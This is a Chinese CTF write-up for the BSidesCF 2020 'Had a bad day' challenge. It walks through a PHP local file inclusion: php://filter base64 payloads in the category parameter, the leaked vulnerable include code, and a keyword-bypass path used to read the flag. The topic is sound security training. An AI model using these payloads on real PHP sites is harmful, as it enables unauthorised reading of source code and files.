首页 > 其他分享 >[BSidesCF 2020]Had a bad day

[BSidesCF 2020]Had a bad day

时间:2024-02-02 20:44:35浏览次数:35  
标签:category index Had bad 源码 2020 php day

[BSidesCF 2020]Had a bad day

pl7PLx0fabwhHfUC3J0rWRa6z2cQOI4RId2Y-tju_yE

j8TyNe6zGfxQuRN27dZOZji4BhLQOP00N-Z_EFymj4A

2ZKwoqb8jSx_KnCSk74Lmas9-c7zCarP42eZYHHYCtY

打开网站有两个按钮,点击之后链接后都会加上?category=meowers

猜测有文件包含漏洞,尝试?category=php://filter/read=convert.base64-encode/resource=index.php

bfbgshljB4PBLJtBO09aSc5WGlQw4FAy4f-eZW-gC1I

警告中看到 .php出现了两次,推测源码中存在.php拼接,于是去掉.php

wAOO-qRjk0lgZ20IBxd2_nPLjSOn0gyoAyYI7o_9Opk

得到PHP源码

 <?php
	$file = $_GET['category'];
	if(isset($file))
		{
			if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
			}
			else{
				echo "Sorry, we currently only support woofers and meowers.";
			}
		}
?>

观察源码发现,传入的category参数中需要有woofers、meowers和index才能包含传入以传入名为文件名的文件

因此修改Payload为?category=php://filter/convert.base64-encode/resource=index/.../flag

p2OObHo6TIIP-lpyzEAR3FAfdb7Dfu5ZIv6gN4Wc0NM

BzpY1E1r4twl4Bshs1xhW-xFPVH4O16E5R6G2BqVVo4

标签:category,index,Had,bad,源码,2020,php,day
From: https://www.cnblogs.com/fishjumpriver/p/18003963

相关文章

  • [BJDCTF2020]The mystery of ip
    [BJDCTF2020]Themysteryofiphint页面的源代码里发现提示应该是和IP相关,有可能用到XFF请求头,遂用BP抓包修改了XFF之后,被成功执行,XFF可控,代码是php代码,推测:PHP可能存在Twig模版注入漏洞Smarty模板的SSTI漏洞(主要为Flask存在Jinjia2模版注入漏洞)添加模板算式,{{7*7}}成......
  • 如何在FBX剔除Lit.shader依赖
    1)如何在FBX剔除Lit.shader依赖2)Unity出AAB包(PlayAssetDelivery)模式下加载资源过慢问题3)如何在URP中正确打出Shader变体4)XLua打包Lua文件粒度问题这是第371篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面地掌握和学习。UWA......
  • db2主备部署hadr(单个数据库)
    主库:192.168.1.135host135从库:192.168.1.134host134 说明:a.主库已经运行并有数据库DB_HXL可以使用如下命令查看:db2listdatabasedirectory b.主数据库已经处于归档模式,做了主备后,备库也会是归档模式,归档路径与主库配置的是一样的,这就需要备库提前有相应的目录.d......
  • Unity shader实现水波的技术原理
    Unityshader是Unity引擎中非常重要的一个部分,它可以用来实现各种各样的特效效果,其中包括水波效果。本文将详细讲解Unityshader实现水波的技术原理,并给出相关的Shader代码实现。对啦!这里有个游戏开发交流小组里面聚集了一帮热爱学习游戏的零基础小白,也有一些正在从事游戏......
  • 全方位介绍大数据生态圈中最基础、最重要的组件 Hadoop
    大数据概述大数据这个概念近年来算是如火如荼,那什么是大数据呢?首先从名字来看,我们可以简单地认为数据量大,而数据量大也就意味着计算量大。这样理解本身是没有任何问题的,只不过这并不能很好的定义大数据。而业界的一家权威的机构,针对大数据做了描述,认为大数据应该具备如下特征:1......
  • [JOISC2020] 扫除
    现在Bitaro准备用扫帚打扫房间。我们认为扫帚是放置在房间里的一条线段,并且将这条线段的长度称为扫帚的宽度。由于Bitaro很有条理,所以他只会用以下的两种方式打扫房间:Bitaro将扫帚平行于\(y\)轴放置,一端位于原点。然后他会垂直向右移动扫帚,直到不能移动为止。如果扫帚的......
  • Windows10安装Hadoop3.1.3环境
    Windows10安装Hadoop3.1.3环境文章目录1.安装包下载1.1.hadoop官网下载1.2下载winutils1.3安装文件2.配置安装2.1安装配置JDK环境2.2解压hadoop压缩包2.3配置hadoop的环境变量2.3.1配置HADOOP_HOME2.3.2配置Path变量2.4配置hadoop2.4.1创建data和temp文件夹2.4.2配置hadoop......
  • Shader实现模糊效果
    模糊效果一直是游戏当中用的比较多的,比如一些景深啊,FPS游戏震屏时的模糊,还有些剧情跳转都用到了模糊效果。我们在unity中可以使用Shader来处理模糊效果。一般我们有两种模糊方式,一种是比较简单直接的均值模糊,一种是比较高级当然也有些难度的高斯模糊。简单方式有它的缺陷,难的方式......
  • Unity5.x shader打包AssetBundle总结
    unity5.x  shader打包AssetBundle总结最近比较忙,好久没有更新博客了,新项目切换到unity5.x后使用了新的打包机制,在打包shader的时候遇到了一些问题,这里来记录一下吧。 在上一个项目中,我们使用unity4.7,对于shader并没有进行依赖打包,而是由unity打包到了每个用到的AssetBundle......
  • HF2020A多功能移动照明系统
    适用范围广泛适用于铁路、水利、电网等抢险救援现场大范围移动照明。结构特性灯具体积小、重量轻,可以实现拖行、手提、背行三种携带方式。灯具底部也可以安装铁轨轮,便于用户在铁轨上作业。 灯头组件由左右两个灯头组成,采用高光效LED光源,照明亮度高,覆盖范围大,使用寿命长;灯头可折叠......